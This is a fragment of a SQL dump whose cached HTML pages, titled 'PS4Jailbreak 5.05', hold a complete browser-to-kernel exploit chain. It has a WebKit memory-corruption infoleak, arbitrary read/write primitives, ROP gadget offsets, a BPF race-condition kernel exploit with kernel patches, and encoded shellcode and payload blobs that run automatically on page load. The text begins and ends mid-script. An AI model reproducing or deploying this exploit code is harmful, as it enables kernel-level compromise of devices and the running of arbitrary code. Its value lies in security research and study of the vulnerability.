rboff=topofchain-krop.count*8+40;krop.push(o2wk(2566497));krop.push(g.pop_rax);krop.push(rboff);krop.push(g.add_rdi_rax);krop.push(g.mov_rax__rdi__);krop.push(g.pop_rsi);krop.push(762);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);var shellbuf=p.malloc32(4096);krop.push(g.pop_rdi);krop.push(kscratch);krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(808116);krop.push(g.add_rax_rsi);krop.push(g.pop_rdi);krop.push(kscratch.add32(8));krop.push(g.mov__rdi__rax);krop.push(g.jmp_rax);krop.push(g.pop_rdi);krop.push(kscratch.add32(16));krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(new int64(4294901759,4294967295));krop.push(g.and_rax_rsi);krop.push(g.mov_rdx_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.mov_rax_rdx);krop.push(g.jmp_rdi);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(221338);krop.push(g.add_rax_rsi);krop.push(g.mov_rax__rax__);krop.push(g.pop_rdi);krop.push(kscratch.add32(816));krop.push(g.mov__rdi__rax);kpatch(221338,new int64(2425420344,2425393296));kpatch(20169540,shellbuf);kpatch(new int64(4293816070,4294967295),new int64(184,3297329408));kpatch(new int64(4293470503,4294967295),new int64(0,1082624841));kpatch(new int64(4293470533,4294967295),new int64(2425388523,1922076816));kpatch(new int64(4294769332,4294967295),new int64(934690871,826654769));kpatch(828366,new int64(233,2336788480));kpatch(1329844,new int64(2428747825,2425393296));kpatch(new int64(15789236,0),new int64(2,0));kpatch2(new int64(15789244,0),new int64(4293548276,4294967295));kpatch(new int64(15789276,0),new int64(0,1));krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(16));krop.push(g.mov_rax__rax__);krop.push(g.jmp_rdi);krop.push(o2wk(380345));krop.push(kscratch.add32(4096));var kq=p.malloc32(16);var kev=p.malloc32(256);kev.backing[0]=sock;kev.backing[2]=131071;kev.backing[3]=1;kev.backing[4]=5;var shcode=[35817,2425393152,2425393296,2425393296,8567125,2303246336,1096172005,1398030677,2303275535,3149957588,256,551862601,1220806985,9831821,2370371584,4265616532,2370699263,3767542964,2370633744,1585456300,2169045059,1265721540,277432321,4202255,698,3867757568,524479,3607052544,960335176,1207959552,3224487561,2211839809,3698655723,1103114587,1096630620,2428722526,1032669269,4294967160,2303260209,15293925,1207959552,770247,2303262720,3271888842,1818324331,979595116,628633632,1815490864,2648,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(var i=0;i<shcode.length;i++){shellbuf.backing[i]=shcode[i];};start1();while(1){race.count=0;race.push(s[362]);race.push(g.pop_rdi);race.push(kq);race.push(g.mov__rdi__rax);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push_write8(loop1,interrupt1);race.push(g.pop_rdi);race.push(fd);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_valid_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(g.pop_rsi);race.push(kev);race.push(g.pop_rdx);race.push(1);race.push(g.pop_rcx);race.push(0);race.push(g.pop_r8);race.push(0);race.push(s[363]);race.push(g.pop_rdi);race.push(fd1);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_spray_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(s[6]);race.run();if(kscratch.backing[0]!=0){p.syscall(74,shellbuf,16384,7);p.fcall(shellbuf);break;};};};var createThread=webKitBase.add32(7836560);var payloadbuf=p.malloc32(16384);var payload=[13545,2303218432,3967895802,512,3375729992,1207959562,3224496009,303437311,2303197184,8503270,369033216,4224,12878152,1526726658,2303218627,16902395,2011693056,1207959557,3224973,2303197184,770010,3224436736,677352,77260800,2370306048,688445,4288145408,3224502271,2303247195,1211240441,1210114753,1220792329,3104327563,3221225602,1081117512,1212189516,2303209999,2525710545,280,551665992,1221069128,114733,71747328,0,542407,1207959552,3355429251,5190,46596096,0,2693827400,1208027526,1211127433,443584651,2303263276,2303270992,2336757840,77975,331302912,0,1211629824,1214270089,1213758089,258493065,2303246880,3783346385,4294901759,3351323151,1248063872,150994945,3257011977,1220788273,2474183,2330525696,1207959561,3588295,2129199104,1207959561,770247,1927872512,1207959561,240530829,1213333504,162151821,3343384576,965381,0,66971648,3229941760,2370316916,930613,1032669184,2455,255720,1958774016,898451475,3612,2470284616,3892314121,975,235552139,2370306048,920341,898451456,2445,230376,4047342336,1207959565,237639053,2370306048,624181,57337856,1032519680,3544,1226149192,1207959566,159266189,1374158848,2332033027,900925,361580544,3600,1832226120,3892314121,824,228998539,2370306048,931605,898451456,2403,204776,2369620736,1207959565,239998349,2370306048,615221,50784256,1032519680,3444,3038088520,1207959565,157824397,3991404544,2332033026,875325,361580544,3556,1748340040,3892314121,724,222444939,2370306048,928533,898451456,2397,179176,691899136,1207959565,227153293,2370306048,610869,44230656,1032519680,3344,2434108744,1207959565,155661709,2313682944,2332033026,849725,361580544,3472,1026919752,3892314121,624,215891339,2370306048,849685,898451456,2355,153576,3309144832,1207959564,227415437,2370306048,600373,37677056,1032519680,3244,2501217608,1207959564,153105805,635961344,2332033026,824125,361580544,3388,490048840,3892314121,524,209337739,2370306048,826133,898451456,2332,127976,1631423232,1207959564,213521805,2370306048,596533,31123456,1032519680,3144,1226149192,1207959565,151532941,3253207040,2332033025,798525,361580544,3192,4231368008,3892314120,424,202784139,2370306048,794389,898451456,2283,102376,4248668928,1207959563,215356813,2370306048,579893,24569856,1032519680,3044,2232782152,1207959564,147666317,1575485440,2332033025,772925,361580544,3244,3409284424,3892314120,324,196230539,2370306048,776981,898451456,2248,76776,2570947328,1207959563,208278925,2370306048,574773,18016256,1032519680,2944,2031455560,1207959564,146945421,4192731136,2332033024,747325,361580544,2968,3207957832,3892314120,224,189676939,2370306048,737045,898451456,2221,51176,893225728,1207959563,189142413,2370306048,564021,11462656,1032519680,2844,3574959432,1207959563,143209869,2515009536,2332033024,721725,361580544,3060,2016775496,3892314120,124,183123339,2370306048,746261,898451456,2150,25576,3510471424,1207959562,193074573,2370306048,545845,4909056,1032519680,2744,555060552,1476395019,1127583048,3909091336,48,827377969,1224094162,137969037,826605568,3224454601,186783231,1213792256,194123149,2370306048,541749,3922168064,0,1338033992,3909091330,1405,1354811208,3909091330,1393,113723472,352,837978440,3221129664,593,349672,1220762112,827388297,4270409938,3217043781,594,1005109297,1509949445,1358858691,3375485489,152511,3904909568,1318,3375481690,835858768,1032669430,2038,1170813253,369082417,2704,361580633,2824,4030041416,2298478599,4285458887,1163132927,826657073,835269056,1224094162,132922765,369033216,2656,420842824,1207959563,133182861,3280535552,1038665609,2315255807,361580767,3224,3728051528,3892314119,4294967080,2370363273,725781,898451456,1998,4294906856,1222609407,191763853,2370306048,507957,4278118400,3750363135,4178939208,1207959563,129185165,3924295680,2315255806,361580767,2980,2805304648,3892314119,4294966996,2370363273,687893,898451456,1945,4294885352,1222609407,187307405,2370306048,494389,4272613376,3750363135,890604872,1207959562,125646221,2515009536,2315255806,361580767,2792,1865780552,3892314119,4294966912,2370363273,693013,898451456,1890,4294863848,1222609407,182850957,2370306048,480309,4267108352,3750363135,2434108744,1207959563,122107277,1105723392,2315255806,361580767,2860,959810888,3892314119,4294966828,2370363273,685845,898451456,1835,4294842344,1222609407,186258829,2370306048,466485,4261603328,3750363135,2769653064,1207959561,118568333,3991404544,2315255805,361580767,2656,87395656,3892314119,4294966744,2370363273,727829,898451456,1783,4294820840,1222609407,161879437,2370306048,452917,4256098304,3750363135,3642068296,1207959561,115094925,2582118400,2315255805,361580767,2604,3459616072,3892314118,4294966660,2370363273,663317,898451456,1729,4294799336,1222609407,157422989,2370306048,437045,4250593280,3750363135,1964346696,1207959562,110966157,1172832256,2315255805,361580767,2672,2419428680,3892314118,4294966576,2370363273,619285,898451456,1664,4294777832,1222609407,146150797,2370306048,422709,4245088256,3750363135,18189640,1207959561,107427213,4058513408,2315255804,361580767,2428,1563790664,3892314118,4294966492,2370363273,605973,898451456,1615,4294756328,1222609407,160568717,2370306048,409653,4239583232,3750363135,3843394888,1207959560,103560589,2649227264,2315255804,361580767,2096,473271624,3892314118,4294966408,2370363273,602901,898451456,1551,4294734824,1222609407,142480781,2370306048,390197,4234078208,3750363135,1763020104,1207959561,99038605,1239941120,2315255804,361580767,2340,3409284424,3892314117,4294966324,2370363273,616213,898451456,1477,4294713320,1222609407,152180109,2370306048,374581,4228573184,3750363135,3172306248,1207959560,95106445,4125622272,2315255803,361580767,2312,2687864136,3892314117,4294966240,2370363273,525077,898451456,1431,4294691816,1222609407,145626509,2370306048,362805,4223068160,3750363135,2434108744,1207959559,92026253,2716336128,2315255803,361580767,1900,1865780552,3892314117,4294966156,2370363273,581397,898451456,1380,4294670312,1222609407,120198541,2370306048,350005,4217563136,3750363135,487951688,1207959559,88749453,1307049984,2315255803,361580767,2200,1060474184,3892314117,4294966072,2370363273,488213,898451456,1331,4294648808,1222609407,116790669,2370306048,336949,4212058112,3750363135,2970979656,1207959559,85669261,4192731136,2315255802,361580767,1916,204836168,3892314117,4294965988,2370363273,526101,898451456,1277,4294627304,1222609407,116004237,2370306048,323381,4206553088,3750363135,2098564424,1207959559,81802637,2783444992,2315255802,361580767,1912,3509947720,3892314116,4294965904,1213980553,110237069,2370306048,311861,4202359040,826867711,3397994944,24249615,1032014019,1363,1343779840,88741375,2304311296,3234285576,4294967295,4290955080,3288334335,168456997,168430090,1951596554,544502369,1210077782,1935958373,3044453,1801611628,1701737061,1886596716,1811970162,1701536361,1818586738,1650816863,1919972142,1768685688,1919249250,1600939374,779319667,2020765811,1935630080,1801675124,1802003295,1635084127,1593861234,1635021663,1667197795,1717529448,7104865,1919246175,7499634,1264935795,1701737061,1920091500,1929409135,1699439971,1818586738,1684107084,1918989395,1685015924,6646901,1264935795,1701737061,1819033964,1952539503,1919501413,1299473253,1919905125,1668481145,1919241061,1298949486,1766092897,1952671090,1869440333,1929410930,1699439971,1818586738,1952543827,1701016320,1852990795,1884253285,1929408101,1699439971,1818586738,1684104530,1701016320,1852990795,1934388325,7038309,1264935795,1701737061,1869366124,1929405811,1699439971,1818586738,1701145683,1668481136,1919241061,1433167214,1701145715,1668481136,1919241061,1198286190,1769239653,1718576493,7954788,1264935795,1701737061,1952794476,1668248144,1416852325,6647145,1264935795,1701737061,1952794476,1920103747,1131703909,1929409904,1952674681,2037579884,1819566963,1634629986,1929405805,1918989177,1694525539,1986225528,1953497189,1634038376,1702059876,1879074412,1701996660,1935631457,1717662821,1768843622,1851750772,1668481136,1919241061,1131177326,1952540018,1970357605,6649189,1264935795,1701737061,1818575980,1164276837,1969583473,1668481125,1919241061,1097622894,1934976100,1984262757,7630437,1264935795,1701737061,1684291948,1684104530,1852143173,1701249140,1684632948,1952802560,6580583,1886676327,1728078953,1886418021,1929405545,1769305189,1702035556,1684629364,1952805632,1769301362,1702035556,1734701684,788554857,1953724787,1664052581,1869442415,1768697710,1768697698,1701008226,1433631059,778856820,2020765811,1701016320,1433631059,1399613812,1399090789,1702130553,1953451629,1667851881,1869182049,1953060718,2019906664,1768685684,1701008226,1836284243,1819632751,1886596709,1929410674,2035508579,1685024115,1281715317,1298424175,1819632751,1768685669,1701008226,1667393868,1702129225,1818324594,1919972142,1634533496,1668246636,1701996032,1633878117,1668246636,1634038272,1668246636,1835363584,1734962273,1701642350,1952805741,1835363584,7958627,1668113773,1929408621,1885565556,1953693817,1885564530,1953693817,1952539506,1920234240,1952539502,1920234240,7234924,1668445299,1929408621,1668182644,1929408621,1852404336,1929406068,1769107566,6714478,1633907571,1929406062,1751347828,1953693810,1751347826,1953693810,1920234354,1920234240,7370084,1684957554,1761638501,1734960243,1627419753,6909812,1819440243,7958627,1701999731,1919906418,1699176192,1952673908,6647929,1869894495,1644194933,2037411683,1634890496,1627415662,1769235315,1627415917,1769235315,1918854509,1953326848,6647145,1769237863,1935631725,1668246528,1769237601,1811965293,1818321775,1701669236,1828745823,1835627627,1886322789,1768189541,1701970034,1768186977,1701970034,1768186977,7495538,1819043188,7498084,1801807219,7498084,1769432434,1768186990,1818427506,1684370287,1677750889,1684435561,1952802560,1735357040,1701667182,1886348800,1711304293,1684104562,1920427520,6648937,1701147494,1952841835,7105637,1869374310,1711302003,1852404336,26228,0,0,0,0,0,0];for(var i=0;i<payload.length;i++){payloadbuf.backing[i]=payload[i];};p.syscall(74,payloadbuf,65536,7);p.syscall(324,1);p.fcall(createThread,payloadbuf,0,p.sptr("payload"));done();}</script></body></html>',NULL);
INSERT INTO `CacheResourceData` VALUES (6,'<!DOCTYPE html><html><head><title>PS4Jailbreak 5.05</title><meta name=viewport content="width=device-width, initial-scale=1"><style>.loader{position:absolute;left:50%;top:50%;margin:-75px 0 0 -75px;border:10px solid #f3f3f3;border-radius:50%;border-top:10px solid #044595;border-left:10px solid #044595;width:120px;height:120px;-webkit-animation:spin 1s linear infinite}.info{overflow:hidden;position:fixed;position:absolute;top:50%;left:50%;font-size:45px;font-family:sans-serif;transform:translate(-50%,-50%)}.credits{overflow:hidden;position:fixed;position:absolute;top:90%;left:50%;font-size:16px;font-family:sans-serif;text-align:center;transform:translate(-50%,-90%)}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg)}}</style></head><body style=margin:0><div id=loader class=loader></div><div id=done class=info style=display:none>Done.</div><div id=fail class=info style=display:none>Fail!</div><div id=footer class=credits><ul style=list-style:none;padding-left:0><li><a href=#>qwertyoruiopz</a></li><li><a href=#>flatz</a></li><li><a href=#>specter</a></li><li><a href=#>xvortex</a></li><li>anonymous contributors</li></ul></div><script>var p;var s={};var g={};var gc={"pop_r8":96709,"pop_r9":12268047,"pop_rax":17397,"pop_rcx":339545,"pop_rdx":1826852,"pop_rsi":586634,"pop_rdi":232890,"pop_rsp":124551,"jmp_rax":130,"jmp_rdi":2711166,"mov_rdx_rax":3488561,"mov_rdi_rax":22692143,"mov_rax_rdx":1896224,"mov_rbp_rsp":985418,"mov__rdi__rax":3857131,"mov__rdi__rsi":146114,"mov__rax__rsi":2451047,"mov_rax__rax__":444474,"mov_rax__rdi__":290553,"add_rax_rsi":1384646,"and_rax_rsi":22481823,"add_rdi_rax":5593055,"jop":800720,"ret":60,"stack_chk_fail":200,"setjmp":5368};window.onload=function(){setTimeout(exploit,3000);};window.onerror=function(e){document.getElementById("loader").style.display="none";document.getElementById("fail").style.display="block";if(e.startsWith("Error:")==true){alert(e);}else{location.reload();};};function done(){document.getElementById("loader").style.display="none";document.getElementById("done").style.display="block";};var rop=function(){this.stack=new Uint32Array(65536);this.stackBase=p.read8(p.leakval(this.stack).add32(16));this.count=0;this.clear=function(){this.count=0;this.runtime=undefined;for(var i=0;i<4080/2;i++){p.write8(this.stackBase.add32(i*8),0);};};this.pushSymbolic=function(){this.count++;return this.count-1;};this.finalizeSymbolic=function(idx,val){p.write8(this.stackBase.add32(idx*8),val);};this.push=function(val){this.finalizeSymbolic(this.pushSymbolic(),val);};this.push_write8=function(where,what){this.push(g.pop_rdi);this.push(where);this.push(g.pop_rsi);this.push(what);this.push(g.mov__rdi__rsi);};this.fcall=function(rip,rdi,rsi,rdx,rcx,r8,r9){if(rdi!=undefined){this.push(g.pop_rdi);this.push(rdi);};if(rsi!=undefined){this.push(g.pop_rsi);this.push(rsi);};if(rdx!=undefined){this.push(g.pop_rdx);this.push(rdx);};if(rcx!=undefined){this.push(g.pop_rcx);this.push(rcx);};if(r8!=undefined){this.push(g.pop_r8);this.push(r8);};if(r9!=undefined){this.push(g.pop_r9);this.push(r9);};this.push(rip);return this;};this.run=function(){var retv=p.loadchain(this,this.notimes);this.clear();return retv;};return this;};function makeid(){var text="";var possible="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";for(var i=0;i<8;i++){text+=possible.charAt(Math.floor(Math.random()*possible.length));};return text;};var instancespr=[];for(var i=0;i<4096;i++){instancespr[i]=new Uint32Array(1);instancespr[i][makeid()]=50057;};var _dview;function u2d(low,hi){if(!_dview)_dview=new DataView(new ArrayBuffer(16));_dview.setUint32(0,hi);_dview.setUint32(4,low);return _dview.getFloat64(0);};function zeroFill(number,width){width-=number.toString().length;if(width>0){return new Array(width+(/\./.test(number)?2:1)).join("0")+number;};return number+"";};function int64(low,hi){this.low=(low>>>0);this.hi=(hi>>>0);this.add32=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};return new int64(new_lo,new_hi);};this.add32inplace=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};this.hi=new_hi;this.low=new_lo;};this.sub32=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};return new int64(new_lo,new_hi);};this.sub32inplace=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};this.hi=new_hi;this.low=new_lo;};this.toString=function(val){val=16;var lo_str=(this.low>>>0).toString(val);var hi_str=(this.hi>>>0).toString(val);if(this.hi==0)return lo_str;else{lo_str=zeroFill(lo_str,8);};return hi_str+lo_str;};return this;};var nogc=[];var tgt={a:0,b:0,c:0,d:0};var y=new ImageData(1,16384);postMessage("","*",[y.data.buffer]);var props={};for(var i=0;i<16384/2;){props[i++]={value:1111638594};props[i++]={value:tgt};};var foundLeak=undefined;var foundIndex=0;var maxCount=256;while(foundLeak==undefined&&maxCount>0){maxCount--;history.pushState(y,"");Object.defineProperties({},props);var leak=new Uint32Array(history.state.data.buffer);for(var i=0;i<leak.length-6;i++){if(leak[i]==1111638594&&leak[i+1]==4294901760&&leak[i+2]==0&&leak[i+3]==0&&leak[i+4]==0&&leak[i+5]==0&&leak[i+6]==14&&leak[i+7]==0&&leak[i+10]==0&&leak[i+11]==0&&leak[i+12]==0&&leak[i+13]==0&&leak[i+14]==14&&leak[i+15]==0){foundIndex=i;foundLeak=leak;break;};};};if(!foundLeak){throw new Error("infoleak fail");};Array.prototype.__defineGetter__(100,()=>1);var firstLeak=Array.prototype.slice.call(foundLeak,foundIndex,foundIndex+64);var leakJSVal=new int64(firstLeak[8],firstLeak[9]);var f=document.body.appendChild(document.createElement("iframe"));var a=new f.contentWindow.Array(13.37,13.37);var b=new f.contentWindow.Array(u2d(leakJSVal.low+16,leakJSVal.hi),13.37);var master=new Uint32Array(4096);var slave=new Uint32Array(4096);var leakval_u32=new Uint32Array(4096);var leakval_helper=[slave,2,3,4,5,6,7,8,9,10];tgt.a=u2d(2048,23077632);tgt.b=0;tgt.c=leakval_helper;tgt.d=4919;var c=Array.prototype.concat.call(a,b);document.body.removeChild(f);var hax=c[0];c[0]=0;tgt.c=c;hax[2]=0;hax[3]=0;Object.defineProperty(Array.prototype,100,{get:undefined});tgt.c=leakval_helper;var butterfly=new int64(hax[2],hax[3]);butterfly.low+=16;tgt.c=leakval_u32;var lkv_u32_old=new int64(hax[4],hax[5]);hax[4]=butterfly.low;hax[5]=butterfly.hi;tgt.c=master;hax[4]=leakval_u32[0];hax[5]=leakval_u32[1];var a2sb=new int64(master[4],master[5]);tgt.c=leakval_u32;hax[4]=lkv_u32_old.low;hax[5]=lkv_u32_old.hi;tgt.c=0;hax=0;var p={write8:function(addr,val){master[4]=addr.low;master[5]=addr.hi;if(val instanceof int64){slave[0]=val.low;slave[1]=val.hi;}else{slave[0]=val;slave[1]=0;};master[4]=a2sb.low;master[5]=a2sb.hi;},write4:function(addr,val){master[4]=addr.low;master[5]=addr.hi;slave[0]=val;master[4]=a2sb.low;master[5]=a2sb.hi;},read8:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=new int64(slave[0],slave[1]);master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},read4:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=slave[0];master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},leakval:function(jsval){leakval_helper[0]=jsval;var rtv=this.read8(butterfly);this.write8(butterfly,new int64(1094795585,4294901760));return rtv;}};var get_jmptgt=function(addr){var z=p.read4(addr)&65535;var y=p.read4(addr.add32(2));if(z!=9727)return 0;return addr.add32(y+6);};var exploit=function(){p.leakfunc=function(func){var fptr_store=p.leakval(func);return(p.read8(fptr_store.add32(24))).add32(64);};var parseFloatStore=p.leakfunc(parseFloat);var webKitBase=p.read8(parseFloatStore);webKitBase.low&=4294963200;webKitBase.sub32inplace(5881856-147456);var o2wk=function(o){return webKitBase.add32(o);};for(var gn in gc){if(gc.hasOwnProperty(gn)){g[gn]=o2wk(gc[gn]);};};var libKernelBase=p.read8(get_jmptgt(g.stack_chk_fail));libKernelBase.low&=4294963200;libKernelBase.sub32inplace(53248+16384);var wkview=new Uint8Array(4096);var wkstr=p.leakval(wkview).add32(16);p.write8(wkstr,webKitBase);p.write4(wkstr.add32(8),57131008);var hold1;var hold2;var holdz;var holdz1;while(1){hold1={a:0,b:0,c:0,d:0};hold2={a:0,b:0,c:0,d:0};holdz1=p.leakval(hold2);holdz=p.leakval(hold1);if(holdz.low-48==holdz1.low)break;};var pushframe=[];pushframe.length=128;var funcbuf;var funcbuf32=new Uint32Array(256);nogc.push(funcbuf32);var launch_chain=function(chain){var stackPointer=0;var stackCookie=0;var orig_reenter_rip=0;var reenter_help={length:{valueOf:function(){orig_reenter_rip=p.read8(stackPointer);stackCookie=p.read8(stackPointer.add32(8));var returnToFrame=stackPointer;var ocnt=chain.count;chain.push_write8(stackPointer,orig_reenter_rip);chain.push_write8(stackPointer.add32(8),stackCookie);if(chain.runtime)returnToFrame=chain.runtime(stackPointer);chain.push(g.pop_rsp);chain.push(returnToFrame);chain.count=ocnt;p.write8(stackPointer,(g.pop_rsp));p.write8(stackPointer.add32(8),chain.stackBase);}}};funcbuf=p.read8(p.leakval(funcbuf32).add32(16));p.write8(funcbuf.add32(48),g.setjmp);p.write8(funcbuf.add32(128),g.jop);p.write8(funcbuf,funcbuf);p.write8(parseFloatStore,g.jop);var orig_hold=p.read8(holdz1);var orig_hold48=p.read8(holdz1.add32(72));p.write8(holdz1,funcbuf.add32(80));p.write8(holdz1.add32(72),funcbuf);parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);p.write8(holdz1,orig_hold);p.write8(holdz1.add32(72),orig_hold48);stackPointer=p.read8(funcbuf.add32(16));rtv=Array.prototype.splice.apply(reenter_help);return p.leakval(rtv);};p.loadchain=launch_chain;var kview=new Uint8Array(4096);var kstr=p.leakval(kview).add32(16);p.write8(kstr,libKernelBase);p.write4(kstr.add32(8),262144);var countbytes;for(var i=0;i<262144;i++){if(kview[i]==114&&kview[i+1]==100&&kview[i+2]==108&&kview[i+3]==111&&kview[i+4]==99){countbytes=i;break;};};p.write4(kstr.add32(8),countbytes+32);var dview32=new Uint32Array(1);var dview8=new Uint8Array(dview32.buffer);for(var i=0;i<countbytes;i++){if(kview[i]==72&&kview[i+1]==199&&kview[i+2]==192&&kview[i+7]==73&&kview[i+8]==137&&kview[i+9]==202&&kview[i+10]==15&&kview[i+11]==5){dview8[0]=kview[i+3];dview8[1]=kview[i+4];dview8[2]=kview[i+5];dview8[3]=kview[i+6];var syscallno=dview32[0];s[syscallno]=libKernelBase.add32(i);};};var chain=new rop();var returnvalue;p.fcall_=function(rip,rdi,rsi,rdx,rcx,r8,r9){chain.clear();chain.notimes=this.next_notime;this.next_notime=1;chain.fcall(rip,rdi,rsi,rdx,rcx,r8,r9);chain.push(g.pop_rdi);chain.push(chain.stackBase.add32(16376));chain.push(g.mov__rdi__rax);chain.push(g.pop_rax);chain.push(p.leakval(1094795842));if(chain.run().low!=1094795842){throw new Error("unexpected rop behaviour");};returnvalue=p.read8(chain.stackBase.add32(16376));};p.fcall=function(){p.fcall_.apply(this,arguments);return returnvalue;};p.readstr=function(addr){var addr_=addr.add32(0);var rd=p.read4(addr_);var buf="";while(rd&255){buf+=String.fromCharCode(rd&255);addr_.add32inplace(1);rd=p.read4(addr_);};return buf;};p.syscall=function(sysc,rdi,rsi,rdx,rcx,r8,r9){if(typeof sysc!="number"){throw new Error("invalid syscall");};var off=s[sysc];if(off==undefined){throw new Error("invalid syscall");};return p.fcall(off,rdi,rsi,rdx,rcx,r8,r9);};p.sptr=function(str){var bufView=new Uint8Array(str.length+1);for(var i=0;i<str.length;i++){bufView[i]=str.charCodeAt(i)&255;};nogc.push(bufView);return p.read8(p.leakval(bufView).add32(16));};p.malloc=function(sz){var backing=new Uint8Array(65536+sz);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=backing;return ptr;};p.malloc32=function(sz){var backing=new Uint8Array(65536+sz*4);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=new Uint32Array(backing.buffer);return ptr;};var test=p.syscall(23,0);if(test!="0"){var fd=p.syscall(5,p.sptr("/dev/bpf0"),2).low;var fd1=p.syscall(5,p.sptr("/dev/bpf0"),2).low;if(fd==(-1>>>0)){throw new Error("open bpf fail");};var bpf_valid=p.malloc32(16384);var bpf_spray=p.malloc32(16384);var bpf_valid_u32=bpf_valid.backing;var bpf_valid_prog=p.malloc(64);p.write8(bpf_valid_prog,2048/8);p.write8(bpf_valid_prog.add32(8),bpf_valid);var bpf_spray_prog=p.malloc(64);p.write8(bpf_spray_prog,2048/8);p.write8(bpf_spray_prog.add32(8),bpf_spray);for(var i=0;i<1024;){bpf_valid_u32[i++]=6;bpf_valid_u32[i++]=0;};var rtv=p.syscall(54,fd,2148549243,bpf_valid_prog);if(rtv.low!=0){throw new Error("ioctl bpf fail");};var spawnthread=function(name,chain){var longjmp=webKitBase.add32(5352);var createThread=webKitBase.add32(7836560);var contextp=p.malloc32(8192);var contextz=contextp.backing;contextz[0]=1337;var thread2=new rop();thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);chain(thread2);p.write8(contextp,g.ret);p.write8(contextp.add32(16),thread2.stackBase);p.syscall(324,1);var retv=function(){p.fcall(createThread,longjmp,contextp,p.sptr(name));};nogc.push(contextp);nogc.push(thread2);return retv;};var interrupt1,loop1;var sock=p.syscall(97,2,2);var kscratch=p.malloc32(4096);var start1=spawnthread("GottaGoFast",function(thread2){interrupt1=thread2.stackBase;thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.pop_rdi);thread2.push(fd);thread2.push(g.pop_rsi);thread2.push(2148549243);thread2.push(g.pop_rdx);thread2.push(bpf_valid_prog);thread2.push(g.pop_rsp);thread2.push(thread2.stackBase.add32(2048));thread2.count=256;var cntr=thread2.count;thread2.push(s[54]);thread2.push_write8(thread2.stackBase.add32(cntr*8),s[54]);thread2.push(g.pop_rdi);var wherep=thread2.pushSymbolic();thread2.push(g.pop_rsi);var whatp=thread2.pushSymbolic();thread2.push(g.mov__rdi__rsi);thread2.push(g.pop_rsp);loop1=thread2.stackBase.add32(thread2.count*8);thread2.push(1094795585);thread2.finalizeSymbolic(wherep,loop1);thread2.finalizeSymbolic(whatp,loop1.sub32(8));});var krop=new rop();var race=new rop();var ctxp=p.malloc32(8192);var ctxp1=p.malloc32(8192);var ctxp2=p.malloc32(8192);p.write8(bpf_spray.add32(16),ctxp);p.write8(ctxp.add32(80),0);p.write8(ctxp.add32(104),ctxp1);var stackshift_from_retaddr=0;p.write8(ctxp1.add32(16),o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(ctxp.add32(0),ctxp2);p.write8(ctxp.add32(16),ctxp2.add32(8));p.write8(ctxp2.add32(2000),o2wk(7271653));var iterbase=ctxp2;for(var i=0;i<15;i++){p.write8(iterbase,o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(iterbase.add32(2000+32),o2wk(7271653));p.write8(iterbase.add32(8),iterbase.add32(32));p.write8(iterbase.add32(24),iterbase.add32(32+8));iterbase=iterbase.add32(32);};var raxbase=iterbase;var rdibase=iterbase.add32(8);var memcpy=get_jmptgt(webKitBase.add32(248));memcpy=p.read8(memcpy);p.write8(raxbase,o2wk(22848539));stackshift_from_retaddr+=8;p.write8(rdibase.add32(112),o2wk(19417140));stackshift_from_retaddr+=8;p.write8(rdibase.add32(24),rdibase);p.write8(rdibase.add32(8),krop.stackBase);p.write8(raxbase.add32(48),g.mov_rbp_rsp);p.write8(rdibase,raxbase);p.write8(raxbase.add32(1056),o2wk(2566497));p.write8(raxbase.add32(64),memcpy.add32(194-144));var topofchain=stackshift_from_retaddr+40;p.write8(rdibase.add32(176),topofchain);for(var i=0;i<4096/8;i++){p.write8(krop.stackBase.add32(i*8),g.ret);};krop.count=16;var kpatch=function(offset,qword){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.pop_rsi);krop.push(qword);krop.push(g.mov__rax__rsi);};var 